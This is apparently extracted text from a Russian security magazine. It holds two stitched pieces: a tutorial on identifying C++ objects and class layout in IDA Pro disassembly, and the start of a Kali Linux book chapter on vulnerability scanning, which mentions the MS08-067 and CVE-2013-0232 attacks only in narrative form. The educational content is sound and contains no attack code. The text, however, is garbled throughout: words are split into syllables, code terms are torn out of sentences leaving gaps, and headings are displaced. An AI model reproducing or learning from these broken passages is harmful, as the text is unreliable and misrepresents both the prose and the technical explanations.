или боль ше фун кций. Вот толь ко как опре делить, какая фун кция какому объ‐ 
екту при над лежит? С вир туаль ными фун кци ями все прос то — они вызыва ются
кос венно, через ука затель на вир туаль ную таб лицу, помеща емый ком пилято‐ 
ром в каж дый экзем пляр клас са, которо му при над лежит дан ная вир туаль ная
фун кция.  Невир туаль ные  фун кции  вызыва ются  по  их  фак тичес кому  адре су,
рав но как и обыч ные фун кции, не при над лежащие никако му объ екту.

По ложе ние  без надеж но? Отнюдь  нет!  Каж дой фун кции —  чле ну  объ екта
переда ется  неяв ный  аргу мент  —  ука затель  ,  ссы лающий ся  на  объ ект,
которо му  при над лежит  дан ная  фун кция.  Экзем пляр  клас са —  это  по  фак ту
не сам класс, но неч то очень тес но с ним свя зан ное, поэто му вос ста новить
исходную струк туру клас сов дизас сем бли руемой прог раммы впол не реаль но.

this

Раз мер объ ектов опре деля ется теми же ука зате лями   — как раз ница
сосед них ука зате лей (если объ екты рас положе ны в сте ке или в сег менте дан‐ 
ных).  Если  же  экзем пля ры  объ ектов  соз дают ся  опе рато ром    (как  час то
и быва ет), то в код помеща ется вызов фун кции  , при нима ющий в качес тве
аргу мен та количес тво выделя емых бай тов, это и есть раз мер объ екта.

this

new
new

Вот, собс твен но, и все. Оста ется добавить, что мно гие ком пилято ры, соз‐ 
давая  экзем пляр  клас са,  не  содер жащего  ни  дан ных,  ни  вир туаль ных  фун‐ 
кций, все рав но выделя ют под него минималь ное количес тво памяти (обыч но
один байт), хотя никак его не исполь зуют. На какой же, изви ните за гру бость,
хвост такое делать? Память — она ведь не резино вая, а из кучи одни бай ты
и  не  выделишь  —  за  счет  гра нуля ции  отъ еда ется  солид ный  кусок,  раз мер
которо го  варь иру ется  в  зависи мос ти  от  реали зации  самой  кучи  от  4  байт
до 4 килобайт!

При чина  в  том,  что  ком пилято ру  жиз ненно  необ ходимо  опре делить  ука‐ 
затель  , —  нулевым,  увы,    быть  не  может,  это  выз вало  бы  исклю‐ 
чение при пер вой же попыт ке обра щения. Да и опе рато ру   надо что‐то
уда лять, а раз так, это «что‐то» надо пред варитель но выделить...

this this
delete

Эх,  хоть  раз работ чики C++  не  уста ют  пов торять,  что  их  язык  не  усту пает
по эффектив ности чис тому C, все извес тные мне реали зации ком пилято ров
C++ генери руют ну очень кри вой и тор мозной код!

Лад но, все это лирика, перей дем к кон крет ным при мерам.

#include <stdio.h>

 class MyClass
{
public:
     int x;
     void demo(void);

private:
     int y;
     void demo_private(void);
};

 void MyClass::demo_private(void)
{
   printf("Private\n");
}

 void MyClass::demo(void)
{
   printf("MyClass\n");
   this‐>demo_private();
       this‐>y = 0x666;
}

 int main()
{
           MyClass* zzz = new MyClass;
   zzz‐>demo();
       zzz‐>x = 0x777;
     delete zzz;
}

Ес ли сей час взять и с ходу запус тить ком пиляцию, то опти мизи рующий ком‐ 
пилятор  сно ва  в  тру ху  переме лет  наш объ ект  и  даже  не  соз даст  отдель ные
методы. Поэто му, что бы уви деть магию ООП, нам при дет ся отклю чить опти‐ 
миза цию. Прог раммис ты ред ко так пос тупа ют, тем более в наше вре мя, ког да
ско рость  работы  при ложе ния  важ нее  его  раз мера.  Но  нам  при дет ся  пой ти
на эту неук люжую улов ку во имя зна ний. Поэто му, отпив пив ка (кофе, какао —
по вку су), отклю чи опти миза цию в свой ствах про екта в Visual Studio.

От клю чение опти миза ции

В ито ге дизас сем бли рован ный лис тинг в IDA PRO будет выг лядеть при мер но
так:

      main proc near
        var_28 = qword ptr ‐28h
         block = qword ptr ‐20h
        var_18 = qword ptr ‐18h
        var_10 = qword ptr ‐10h

               sub rsp, 48h
                  mov ecx, 8 ; size

Вы деля ем 8 байт под экзем пляр объ екта опе рато ром  . Вооб ще‐то вов се
не факт,  что  память  выделя ется  имен но  под объ ект  (может,  тут  было  что‐то
типа  ),  так  что  не  будем  счи тать  это  утвер жде ние
дог мой, а при мем как рабочую гипоте зу. Даль нейшие иссле дова ния покажут,
что к чему.

new

char  *x  =  new  char[8]

        call operator new(unsigned __int64)
               mov [rsp+48h+var_18], rax
               mov rax, [rsp+48h+var_18]
               mov [rsp+48h+var_28], rax

Ухо‐хвост!  Готовит ся  ука затель  ,  который  переда ется  фун кции  через
регистр. Зна чит, внут ри   не что иное, как ука затель на экзем пляр клас са!

this
RCX

         mov rcx, [rsp+48h+var_28] ; this

Вот мы и доб рались до вызова фун кции   — откры ваем хвост! Пока неяс‐ 
но,  что  эта фун кция дела ет  (сим воль ное имя дано ей для наг ляднос ти),  тем
не менее извес тно, что она при над лежит экзем пля ру клас са, на который ука‐ 
зыва ет  .  Назовем  этот  экзем пляр  A.  Далее,  пос коль ку фун кция,  вызыва‐ 
ющая    (то  есть  фун кция,  в  которой  мы  сей час  находим ся),  не  при над‐ 
лежит  к  А  (она  же  его  сама  и  соз дала  —  не  мог  экзем пляр  клас са  сам
«вытянуть себя за хвост»),  зна чит, фун кция   — это public‐фун кция. Неп‐ 
лохо для начала?

demo

RCX
demo

demo

    call MyClass::demo(void)
               mov rax, [rsp+48h+var_28]
                   mov dword ptr [rax], 777h

Так‐так... Мы пом ним, что   ука зыва ет на экзем пляр клас са. Тог да выходит,
что в объ екте есть еще один public‐член, и это перемен ная типа  . Далее
в остатке фун кции содер жится код, слу жащий для уда ления объ екта из кучи,
плюс эпи лог.

RAX
int

       mov rax, [rsp+48h+var_28]
               mov [rsp+48h+block], rax
               mov edx, 8          ; __formal
                 mov rcx, [rsp+48h+block] ; block
                  call operator delete(void *,unsigned __int64)
               cmp [rsp+48h+block], 0
               jnz short loc_14000118E
               mov [rsp+48h+var_10], 0
               jmp short loc_1400011A1
; ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐
loc_14000118E:                          ; CODE XREF: main+51↑j
               mov [rsp+48h+var_28], 8123h
               mov rax, [rsp+48h+var_28]
               mov [rsp+48h+var_10], rax
loc_1400011A1:                          ; CODE XREF: main+5C↑j
               xor eax, eax
               add rsp, 48h
       retn

    main endp

По пред варитель ным зак лючени ям класс выг лядит сле дующим обра зом:

 class myclass
{
public:

   void demo(void); // void — так как функция ничего не принимает и не 
возвращает

 int x;
}

Вот перед нами фун кция   — метод объ екта A:demo

       public: void MyClass::demo(void) proc near
      arg_0           = qword ptr 8

; Загружаем в область памяти указатель this, переданный функции 
через регистр
               mov [rsp+arg_0], rcx
               sub rsp, 28h
                   lea rcx, aMyclass ; "MyClass\n"
; Выводим строку на экран
            call printf
                 mov rcx, [rsp+28h+arg_0] ; this

Оп,  вот  он,  наш  обла датель  хвос та!  Вызыва ется  еще  одна  фун кция!  Судя
по  , это метод нашего объ екта, при чем, веро ятнее все го, име ющий атри‐ 
бут  , пос коль ку вызыва ется толь ко из фун кции самого объ екта.

this
private

    call MyClass::demo_private(void)
               mov rax, [rsp+28h+arg_0]
                   mov dword ptr [rax+4], 666h
; Так, в объекте есть еще одна переменная, вероятно приватная
               add rsp, 28h
       retn

     public: void MyClass::demo(void) endp

Тог да, по сов ремен ным воз зре ниям, класс дол жен выг лядеть так:

 class myclass
{

 void demo_private(void);
 int y;

public:
 void demo(void);
 int x;

}

Итак, мы не толь ко иден тифици рова ли объ ект, но и вос ста нови ли его струк‐ 
туру!  Пус кай  не  зас тра хован ную  от  оши бок  (так,  пред положе ние  о  при ват‐ 
ности   и   базиру ется лишь на том, что они ни разу не вызыва‐ 
лись извне объ екта), но все же не так ООП страш но, как его малю ют, и вос‐ 
ста новить если не под линный исходный текст прог раммы, то хотя бы какое‐то
его подобие впол не воз можно!

demo_private у

       private: void MyClass::demo_private(void) proc near
; Закрытый метод demo_private — ничего интересного

          arg_0 = qword ptr 8
               mov [rsp+arg_0], rcx
               sub rsp, 28h
                    lea rcx, _Format ; "Private\n"
            call printf
               add rsp, 28h
       retn

     private: void MyClass::demo_private(void) endp

Об рати так же вни мание, мы не соз даем кас томные конс трук тор и дес трук тор,
отда вая задачу соз дания конс трук тора и дес трук тора ком пилято ру. Авто мати‐ 
чес кое соз дание этих методов при их отсутс твии про писа но в стан дарте язы‐ 
ка C++.

КЛАССЫ И ОБЪЕКТЫ
В сге нери рован ном ком пилято ром коде никаких клас сов и в помине нет, одни
лишь экзем пля ры клас сов. Вро де бы да какая раз ница‐то? Экзем пляр клас са
раз ве не есть сам класс? Нет, меж ду клас сом и объ ектом сущес тву ет прин‐ 
ципи аль ная раз ница. Класс — это струк тура, в то вре мя как экзем пляр клас са
(в сге нери рован ном коде) — подс трук тура этой струк туры.

Ины ми  сло вами,  пусть  име ется  класс  А,  вклю чающий  в  себя  фун кции
a1 и а2. Пусть соз дано два его экзем пля ра — из одно го мы вызыва ем фун‐ 
кцию a1, из дру гого — a2. С помощью ука зате ля   мы смо жем выяс нить
лишь  то,  что  одно му  экзем пля ру  при над лежит  фун кция  a1,  дру гому  —  a2.
Но  уста новить,  экзем пля ры  это  одно го  клас са  или  двух  раз ных  клас сов,
невоз можно!

this

Де ло осложня ется тем, что в про изводных клас сах нас леду емые фун кции
не дуб лиру ются (во вся ком слу чае, так пос тупа ют «умные» ком пилято ры, хотя
в жиз ни слу чает ся вся кое). Воз ника ет двуз начность: если с одним экзем пля‐ 
ром свя заны фун кции a1 и a2, а с дру гим — a1, a2 и a3, то либо это могут быть
экзем пля ры  одно го  клас са  (прос то  из  пер вого  экзем пля ра  фун кция
a3 не вызыва ется), либо вто рой экзем пляр — экзем пляр клас са, про изводно‐ 
го  от  пер вого.  Код,  сге нери рован ный  ком пилято ром,  в  обо их  слу чаях  будет
иден тичным!  При ходит ся  вос ста нав ливать  иерар хию  клас сов  по  смыс лу
и  наз начению  при над лежащих  им  фун кций...  Понят ное  дело,  приб лизить ся
к исходно му коду смо жет толь ко ясно видя щий.

Сло вом, как бы там ни было, никог да не путай экзем пляр клас са с самим
клас сом  и  не  забывай,  что  объ екты  сущес тву ют  толь ко  в  исходном  тек сте
и унич тожа ются на ста дии ком пиляции.

Мой адрес — не дом и не улица!
Где живут струк туры, мас сивы и объ екты? Конеч но же, в памяти! А покон крет‐ 
нее? Кон крет нее — сущес тву ют три типа раз мещения: в сте ке (авто мати чес‐ 
кая  память),  сег менте  дан ных  (ста тичес кая  память)  и  куче  (динами чес кая
память). И каж дый тип со сво им харак тером.

Возь мем  стек  —  выделе ние  памяти  неяв ное,  фак тичес ки  про исхо дит
на  эта пе  ком пиляции,  при чем  гаран тирован но  опре деля ется  толь ко  общий
объ ем  памяти,  выделен ный  под  все  локаль ные  перемен ные.  А  опре делить,
сколь ко занима ет каж дая из них, невоз можно в прин ципе. Не веришь? А вот,
ска жем, пусть будет такой код:  .
Если ком пилятор выров няет мас сивы по крат ным адре сам (а это дела ют мно‐ 
гие  ком пилято ры),  то  раз ница  сме щений  бли жай ших  друг  к  дру гу  мас сивов
может и не быть рав на их раз меру. Единс твен ная надеж да вос ста новить под‐ 
линный раз мер — най ти в  коде про вер ки выходы за  гра ницы мас сива  (если
они есть, а их час то не быва ет).

char a1[13]; char a2[17]; char a3[23]

Вто рое  (самое  неп рият ное):  если  один  из  мас сивов  не  исполь зует ся,
а толь ко объ явля ется, то неоп тимизи рующие ком пилято ры (и даже некото рые
опти мизи рующие!) могут тем не менее отвести для него сте ковое прос транс‐ 
тво. Тем самым он вплот ную прим кнет к пре дыду щему мас сиву, и гадай: то ли
раз мер мас сива  такой,  то ли в его  конец «вбу хан» неис поль зуемый мас сив!
Ну, с мас сивами куда бы еще ни шло, а вот со струк турами и объ екта ми дела
обсто ят  нам ного  хуже. Никому и  в  голову  не при дет  помещать  в  прог рамму
код,  отсле жива ющий  выход  за  пре делы  струк туры  (объ екта).  Такое  невоз‐ 
можно  в  прин ципе  (ну  раз ве  что  прог раммист  слиш ком  воль но  работа ет
с ука зате лями)!

Лад но,  оста вим  в  сто роне  раз мер,  перей дем  к  проб лемам  «раз верс тки»
и поис ку ука зате лей. Как уже говори лось выше, если мас сив  (объ ект, струк‐ 
тура) объ явля ется в непос редс твен ной области видимос ти еди ницы тран сля‐ 
ции,  он  «вспа рыва ется»  на  эта пе  ком пиляции  и  обра щение  к  его  чле нам
выпол няет ся  по  фак тичес кому  сме щению,  а  не  по  базово му  ука зате лю.
К  счастью,  иден тифика цию  объ ектов  облегча ет  наличие  в  них  ука зате ля
на  вир туаль ную  таб лицу,  но  ведь  не  факт,  что  любая  таб лица  ука зате лей
на фун кции есть вир туаль ная таб лица! Может, это прос то мас сив ука зате лей
на фун кции, опре делен ный самим прог раммис том? Вооб ще‐то при наличии
опы та такие слу чаи мож но лег ко рас познать, но все‐таки они дос таточ но неп‐ 
рият ны.

С объ екта ми, рас положен ными в ста тичес кой памяти, дела обсто ят нам‐ 
ного  про ще.  Из‐за  сво ей  гло баль нос ти  они  име ют  спе циаль ный флаг,  пре‐ 
дот вра щающий  пов торный  вызов  конс трук тора,  поэто му  отли чить  объ ект,
рас положен ный  в  сег менте  дан ных,  от  струк туры  или  мас сива  ста новит ся
очень лег ко. С опре деле нием его раз мера, прав да, все те же неувяз ки.

На конец,  объ екты  (струк туры,  мас сивы),  рас положен ные  в  куче,  прос то
сказ ка  для  ана лиза!  Память  отво дит  фун кция,  которая  явно  при нима ет
количес тво  выделя емых  бай тов  в  качес тве  сво его  аргу мен та  и  воз вра щает
ука затель,  гаран тирован но  ука зыва ющий  на  начало  экзем пля ра  объ екта
(струк туры, мас сива).  Раду ет  и  то,  что  обра щение  к  эле мен там  всег да  идет
через  базовый  ука затель,  даже  если  объ явле ние  совер шает ся  в  области
видимос ти (ина че и быть не может: фак тичес кие адре са выделя емых бло ков
динами чес кой памяти неиз вес тны на ста дии ком пиляции).

ЗАКЛЮЧЕНИЕ
Ар хитек тура x86‐64, по сути, такое же рас ширение для про цес сора архи тек‐ 
туры x86, как SSE. Все мно гооб разие подоб ных рас ширений для x86, как 3D‐
NOW, MMX, SSE, VMX, AVX и дру гие, добав ляют про цес сору допол нитель ные
регис тры, спо соб ные хра нить боль шие зна чения. Вмес те с  тем про цес соры
получа ют  новые  инс трук ции  для  обра бот ки  содер жащих ся  в  этих  регис трах
дан ных: они могут извле кать отдель ные сло ва, двой ные сло ва, 64‐раз рядные
сло ва и более за один такт. Как мы уви дели, сов ремен ный ком пилятор от Mi‐
crosoft даже для при митив ного кон соль ного при ложе ния, которое мы исполь‐ 
зовали для демонс тра ции, генери рует код с при месью SSE.

Целью  сегод няшней  статьи  было  научить ся  иден тифици ровать  ком‐ 
плексные язы ковые конс трук ции язы ков высоко го уров ня — струк туры и объ‐ 
екты. Мы разоб рались,  как их  выделить из обще го ряда перемен ных и фун‐ 
кций,  как  уста новить  вза имос вязь  меж ду  эле мен тами  одно го  объ екта  и  как
вос ста новить  началь ную  струк туру  клас са  и  струк туры.  Для  это го  надо
полагать ся  боль ше  на  спо соб ности  серого  вещес тва  в  череп ной  короб ке,
нежели на прог рам мные инс тру мен ты. Поэто му очень час то при ходит ся вклю‐ 
чать логику. Как говорит ся, глав ный инс тру мент для взло ма находит ся у тебя
в голове. И наконец, с помощью лаконич ных экзем пля ров кода мы побай тно
рас смот рели широкий  спектр  при мене ния  раз ных  под ходов  к  опре деле нию
клас сов и струк тур.

Оп тимизи рующий  ком пилятор  генери рует  мак сималь но  эле мен тарный
код, сти рая любые зацеп ки,  за  которые мож но было бы ухва тить ся для рас‐ 
позна вания струк тур язы ков высоко го уров ня. Но хакеры тоже не лыком шиты
и могут най ти уйму лазе ек для рас шифров ки бинар ников.

В  кон це  семиде сятых  годов  прош лого  века  про изво дите ли  полуп ровод‐ 
ников как раз работа ли над про цес сорами, спо соб ными перева рить всю кух‐ 
ню ООП, но  выпущен ный впо пыхах для  удов летво рения рын ка  как  про межу‐ 
точ ное зве но про цес сор 8086 показал, что упро щение кода куда важ нее его
усложне ния.  Тем  самым  на  про цес сорах,  спо соб ных  на  аппа рат ном  уров не
понимать ООП, пос тавили крест.

В  сле дующей  статье  мы  сно ва  пог рузим ся  в  раз делы  памяти  опе раци‐ 
онной сис темы и раз берем ся в прин ципах орга низа ции кучи.
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ВЗЛОМ

Ска ниро вание уяз вимос тей — про цесс выяв ления и ана лиза
кри тичес ких  недос татков  безопас ности  в  целевой  сре де.
Иног да  эту  опе рацию  называ ют  оцен кой  уяз вимос ти.  Ска‐ 
ниро вание  уяз вимос тей  —  одна  из  основных  задач  прог‐ 
раммы  выяв ления  и  устра нения  этих  недос татков.  С  его
помощью мож но  про ана лизи ровать  все  эле мен ты  управле‐ 
ния безопас ностью ИТ‐инфраструк туры.

О книге

Пе ред  тобой — шес тая  гла ва из  кни ги  «Kali  Linux.  Тес тирова ние на про ник‐ 
новение и безопас ность», которую мы пуб лику ем по догово рен ности с изда‐ 
тель ством «Питер». Кол лектив авто ров этой кни ги струк туриро вал информа‐ 
цию  о  пен тестах —  от  под готов ки  иссле дова тель ской  лабора тории  до  сос‐ 
тавле ния  отче тов  о  про делан ной  работе.  Давай  прой дем ся  по  ее  оглавле‐ 
нию, что бы ты мог сос тавить луч шее пред став ление о содер жимом.

  В  пер вых  двух  гла вах  опи сано,  как  обус тро ить
свою тес товую лабора торию, точ нее — компь ютер с VirtualBox. Авто ры в чис‐ 
ле про чего рас ска зыва ют,  какие дис три бути вы луч ше исполь зовать  в  качес‐ 
тве целевых уяз вимых сис тем.

Гла вы 1 и 2. Уста нов ка и нас трой ка Kali Linux, соз дание испы- 

татель ной  лабора тории.

  Здесь
дает ся теоре тичес кий минимум обо всех эта пах взло ма, добыче информа ции
и замета нии сле дов. Даль нейшее повес тво вание будет сле довать при веден‐ 
ному в этой гла ве эта лон ному пла ну ата ки.

Гла ва  3.  Методо логия  тес тирова ния  на  про ник новение.

 Здесь опи сан
пер вый этап пен теста — сбор дан ных об иссле дуемой сис теме: име на  хос‐ 
тов,  IP‐адре са,  кон фигура ции  обо рудо вания,  име на  сот рудни ков  ком пании
и дру гие све дения. Так же раз бира ются ути литы Kali, которые слу жат для авто‐ 
мати зации раз ведки.

Гла ва 4. Получе ние отпе чат ка и сбор информа ции.

  В  ней  рас ска зано,
как иден тифици ровать машины, находя щиеся в локаль ной сети орга низа ции,
и опре делить их ОС. Сущес тву ют ути литы для соз дания «отпе чат ков опе раци‐ 
онных сис тем», о них рас ска зано во вто рой час ти гла вы.

Гла ва  5.  Методы  ска ниро вания  и  укло нения.

  Шес тая  гла ва,  которую  мы
опуб ликова ли целиком, повес тву ет об обна руже нии дыр в безопас ности.

Гла ва  6.  Ска ниро вание  уяз вимос тей.

  Эта  гла ва  пос вящена  соци аль ной
инже нерии. Здесь эта  тема рас кры та не  так пол но,  как в  кни ге Кевина Мит‐ 
ника «Искусс тво обма на», но в дос таточ ной для понима ния воп роса сте пени.
Для  прос тоты  запоми нания  авто ры  выделя ют шесть методов  пси холо гичес‐ 
кой ата ки: под ражание, вза имный обмен, вли яние авто рите та, исполь зование
жад ности,  налажи вание  соци аль ных  вза имоот ношений,  сила  любопытс тва.
Так же  здесь  опи сано  соз дание  флеш ки  для  скрыт ного  получе ния  дан ных
с компь юте ра.

Гла ва 7. Соци аль ная инже нерия.

 Здесь дает ся опи сание экс пло итов,
при веде ны  ссыл ки  на  ресур сы,  где  их  мож но  най ти,  под робно  рас ска зано
о  Metasploit  и  показа но,  как  соз дать  свой  экс пло ит  с  при мене нием  это го
популяр ного фрей мвор ка.

Гла ва 8. Целевая экс плу ата ция.

Помимо  воп росов  эска лации  при виле гий,  в  этой  гла ве  рас смот рено  соз‐ 
дание  бэк дора  в  ском про мети рован ной  сис теме.  И  в  качес тве  бонуса  при‐ 
водят ся инс тру мен ты под бора пароля.

Гла ва  9.  Повыше ние  при виле гий  и  под держа ние  дос тупа.

 В десятой гла ве рас ска‐ 
зыва ется о  вклю чен ных  в  стан дар тную пос тавку Kali  Linux  инс тру мен тах  тес‐ 
тирова ния веб‐при ложе ний: nikto, OWASP ZAP, Burp Suite, Paros и про чих.

Гла ва 10. Тес тирова ние веб‑при ложе ний.

  При  пен тестах  бес про вод ных  сетей  задача  ата кующе го —  опре‐ 
делить целевую сеть, зах ватить тра фик во вре мя аутен тифика ции и про вес ти
ата ку на хеш гру бой силой. У всех этих шагов есть мас са под водных кам ней,
которые и рас смот рены в этой гла ве.

Гла ва  11.  Тес тирова ние  бес про вод ных  сетей  на  про ник- 

новение.

  Не  всег да  удоб но  про водить  пен тесты  на  ноут буке.  Для  таких
экс тре маль ных  слу чаев  был  соз дан  Kali  NetHunter  —  его  уста нав лива ют
на некото рые смар тфо ны поверх Android.

Гла ва  12.  Мобиль ное  тес тирова ние  на  про ник новение  с  Kali

NetHunter.

  Эта  гла ва  пос вящена  стан дарту  безопас ности  дан ных  индус трии
пла теж ных  карт  (PCI DSS).  В  ней  рас ска зыва ется,  какие  тре бова ния  предъ‐ 
явля ются  к  это му  стан дарту,  кто  и  как  про водит  тес тирова ние  орга низа ций,
сис тем и про цес сов, под лежащих стан дарту.

Гла ва  13.  PCI  DSS:  ска ниро вание  и  тес тирова ние  на  про ник- 

новение.

  Сос тавле ние  отче та  —  самое  скуч ное  занятие.  Но  и
об этом позабо тились соз датели дис три бути ва Kali Linux! Они вклю чили в его
сос тав  фрей мворк  Draids,  пред назна чен ный  для  сос тавле ния  отчетнос ти
по  пен тестам.  В  пос ледней  гла ве  кни ги  под робно  обсужда ются  докумен‐ 
тация, пре дос тавле ние и про вер ка резуль татов  тес тирова ния,  типы отче тов,
под готов ка  пре зен тации,  а  так же  дей ствия,  которые  необ ходимо  пред при‐ 
нять пос ле тес тирова ния.

Гла ва  14.  Инс тру мен ты  для  соз дания  отче тов  о  тес тирова нии

на  про ник новение.

Ска ниро вание  уяз вимос тей  про изво дит ся  пос ле  того,  как  мы  обна ружи ли,
соб рали  и  перечис лили  информа цию  об  инфраструк туре  целевой  сис темы.
Информа ция, получен ная пос ле ска ниро вания сис темы на уяз вимос ти, может
при вес ти  к  ком про мета ции  целевой  сис темы,  наруше нию  ее  целос тнос ти
и кон фиден циаль нос ти.

В этой гла ве мы обсу дим два общих типа уяз вимос тей и пред ста вим раз‐ 
личные  стан дарты  для  их  клас сифика ции. Мы  так же  рас смот рим  некото рые
извес тные инс тру мен ты оцен ки уяз вимос ти, пре дос тавля емые в рам ках опе‐ 
раци онной сис темы Кали Linux. В этой гла ве изла гают ся сле дующие темы.

По нятия двух общих типов уяз вимос тей: локаль ные и уда лен ные.•
Клас сифика ция  уяз вимос тей,  ука зыва ющая  на  отрасле вой  стан дарт,
который может быть исполь зован для сис темати зации любой уяз вимос ти
и рас пре деле ния в соот ветс твии с опре делен ными приз наками.

•

Зна комс тво  с  нес коль кими  инс тру мен тами  для  поис ка  и  ана лиза  уяз‐ 
вимос тей, при сутс тву ющих в целевой сре де. Пред став ленные инс тру мен‐ 
ты рас пре деле ны в соот ветс твии с их основны ми фун кци ями, свя зан ными
с оцен кой безопас ности. Это такие инс тру мен ты, как Nessus, Cisco, SMB,
SNMP и средс тва ана лиза веб‐при ложе ний.

•

Об ратите  вни мание,  что  незави симо  от  того,  тес тиру ем  мы  внеш нюю
или внут реннюю сеть, руч ные и авто мати зиро ван ные про цеду ры оцен ки уяз‐ 
вимос тей дол жны исполь зовать ся поров ну. Если задей ство вать толь ко авто‐ 
мати чес кий  режим,  мож но  получить  боль шое  количес тво  лож ных  сра баты‐ 
ваний и отри цаний. Кро ме того, очень важ на теоре тичес кая под готов ка испы‐ 
тате ля на про ник новение, а так же то, нас коль ко хорошо он зна ет инс тру мен‐ 
ты,  с  помощью  которых  будет  выпол нять ся  тест.  Ауди тору  пос тоян но  нуж но
совер шенс тво вать свои зна ния и навыки.

И еще один очень важ ный момент: авто мати зиро ван ная оцен ка уяз вимос‐ 
ти не явля ется окон чатель ным решени ем. Быва ют ситу ации, ког да авто мати‐ 
зиро ван ные средс тва не могут опре делить логичес кие ошиб ки, скры тые уяз‐ 
вимос ти,  неопуб ликован ные  уяз вимос ти  прог рам мно го  обес печения
и челове чес кий фак тор, вли яющий на безопас ность. Поэто му рекомен дует ся
исполь зовать  ком плексный  под ход,  пре дус матри вающий  при мене ние
как  авто мати зиро ван ных,  так  и  руч ных  методов  оцен ки  уяз вимос ти.
Это  повысит  успешность  тес тов  на  про ник новение и  пре дос тавит  наибо лее
объ ективную информа цию для исправ ления уяз вимос тей.

ТЕХНИЧЕСКИЕ ТРЕБОВАНИЯ
Но утбук  или  нас толь ный  компь ютер  с  объ емом  опе ратив ной  памяти
не менее 6 Гбайт, четырехъ ядер ный про цес сор и 500 Гбайт мес та на жес тком
дис ке.  В  качес тве  опе раци онной  сис темы  мы  исполь зуем  Kali  Linux
2018.2  или  2018.3  (как  вир туаль ную  машину  или  сис тему,  уста нов ленную
на жес тком дис ке, SD‐кар те или USB‐накопи теле).

ТИПЫ УЯЗВИМОСТЕЙ
Су щес тву ет  три основных катего рии уяз вимос тей,  которые, в свою оче редь,
мож но  раз делить  на  локаль ные  и  уда лен ные.  Это  уяз вимос ти,  допущен ные
при  раз работ ке  прог рам мно го  обес печения,  ошиб ки  при  реали зации  прог‐ 
рам мно го  обес печения  и  уяз вимос ти,  обна ружи ваемые  при  экс плу ата ции
сис темы.

  —  обна ружи вают ся  из‐за  недос татков
в тех ничес ких тре бова ниях к прог рам мно му обес печению.

• Уяз вимос ти  при  раз работ ке

  —  тех ничес кие  ошиб ки  безопас ности,  най‐ 
ден ные в коде сис темы.

• Уяз вимос ти  реали зации

  —  уяз вимос ти,  которые  могут  воз‐ 
никнуть  из‐за  неп равиль ной  нас трой ки  и  раз ворачи вания  сис темы
в целевой сре де.

• Экс плу ата цион ные  уяз вимос ти

На осно ве этих трех клас сов у нас есть два общих типа уяз вимос тей: локаль‐ 
ные и уда лен ные, которые могут появить ся в любой катего рии опи сан ных уяз‐ 
вимос тей.

ЛОКАЛЬНЫЕ УЯЗВИМОСТИ
Ес ли  зло умыш ленник получа ет дос туп,  выпол няя  часть  кода,  это называ ется

. Вос поль зовав шись  дан ной  уяз вимостью,  зло умыш‐ 
ленник может повысить свои пра ва дос тупа и получить неог раничен ный дос‐ 
туп к компь юте ру.

ло каль ной  уяз вимостью

Рас смот рим  при мер,  в  котором  зло умыш ленник  Боб  име ет  локаль ный
дос туп  к  сис теме,  работа ющей  под  управле нием Windows  Server  2008  (32‐
раз рядная  плат форма  x86).  Дос туп  ему  был  огра ничен  адми нис тра тором
при реали зации полити ки безопас ности, в резуль тате чего Бобу ста ло недос‐ 
тупно опре делен ное при ложе ние. В экс тре маль ных усло виях Боб обна ружил,
что  с  помощью  вре донос ного  фраг мента  кода  он  может  получить  дос туп
к компь юте ру на уров не сис темы или ядра. Вос поль зовав шись хорошо извес‐ 
тной  уяз вимостью  (нап ример,  CVE‐2013‐0232,  GP  Trap  Handler  nt!KiTrap0D),
он повысил свои пра ва дос тупа, что поз волило ему выпол нять все адми нис‐ 
тра тив ные задачи и получать неог раничен ный дос туп к при ложе нию. Это ясно
показы вает  нам,  как  зло умыш ленник  вос поль зовал ся  уяз вимостью
для получе ния несан кци они рован ного дос тупа к сис теме.
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До пол нитель ные  све дения  об  уяз вимос ти  CVE‐
2013‐0232  MS  и  повыше нии  прав  дос тупа
в Windows

УДАЛЕННАЯ УЯЗВИМОСТЬ
  —  это  сос тояние,  при  котором  зло умыш ленник

еще не име ет  дос тупа,  но может его  получить,  запус тив  вре донос ную  часть
кода  через  сеть.  Этот  тип  уяз вимос ти  поз воля ет  зло умыш ленни ку  получить
уда лен ный  дос туп  к  компь юте ру  без  каких‐либо  физичес ких  или  локаль ных
барь еров.

Уда лен ная  уяз вимость

Нап ример, Боб и Али са под клю чены к Интерне ту с раз ных устрой ств. У них
раз ные IP‐адре са, да и живут они в раз ных мес тах. Пред положим, компь ютер
Али сы  работа ет  под  управле нием  опе раци онной  сис темы  Windows  XP
и содер жит сек ретную биотех нологи чес кую информа цию, а Бобу известен IP‐
адрес машины Али сы и то, какая опе раци онная сис тема уста нов лена на этом
компь юте ре. Боб ищет решение,  которое поз волит ему получить  уда лен ный
дос туп к компь юте ру Али сы. Со вре менем он узна ет, что уяз вимость служ бы
Windows  Server  MS08‐067  может  быть  лег ко  исполь зована  уда лен но
на компь юте ре под управле нием опе раци онной сис темы Windows XP. Затем
он запус кает экс плойт про тив компь юте ра Али сы и получа ет к машине пол ный
дос туп.
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До пол нитель ные све дения об уяз вимос ти служ бы
MS08‐067 MS Windows Server

СИСТЕМАТИЗАЦИЯ УЯЗВИМОСТЕЙ
С уве личе нием количес тва дос тупных тех нологий за пос ледние нес коль ко лет
пред при нима лись раз личные попыт ки ввес ти наибо лее удоб ную клас сифика‐ 
цию,  что бы  рас пре делить  по  катего риям  все  воз можные  уяз вимос ти.  Тем
не менее не все рас простра нен ные ошиб ки кодиро вания, которые могут пов‐ 
лиять  на  безопас ность  сис темы,  уда лось  клас сифици ровать.  Это  свя зано
с  тем,  что  каж дая  уяз вимость  может  отно сить ся  к  нес коль ким  катего риям
или  клас сам. Кро ме  того,  каж дая  сис темная плат форма име ет  собс твен ную
под клю чаемую  базу  уяз вимос тей,  слож ности  с  рас ширени ем  и  в  резуль‐ 
тате — слож ности вза имо дей ствия с внеш ней сре дой.

В сле дующей таб лице мы пред став ляем вам стан дарты так сономии (клас‐ 
сифика ции  и  сис темати зации),  которые  помогут  вам  по  воз можнос ти  опре‐ 
делить боль шинс тво рас простра нен ных сбо ев безопас ности. Обра тите вни‐ 
мание: поч ти все из этих стан дартов  уже реали зова ны в ряде инс тру мен тов
оцен ки  безопас ности.  Дан ные  инс тру мен ты  поз воля ют  изу чать  проб лемы
безопас ности прог рам мно го обес печения в режиме реаль ного вре мени.
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  («Семь  пагуб ных
царств», PDF)

•Seven  pernicious  kingdoms

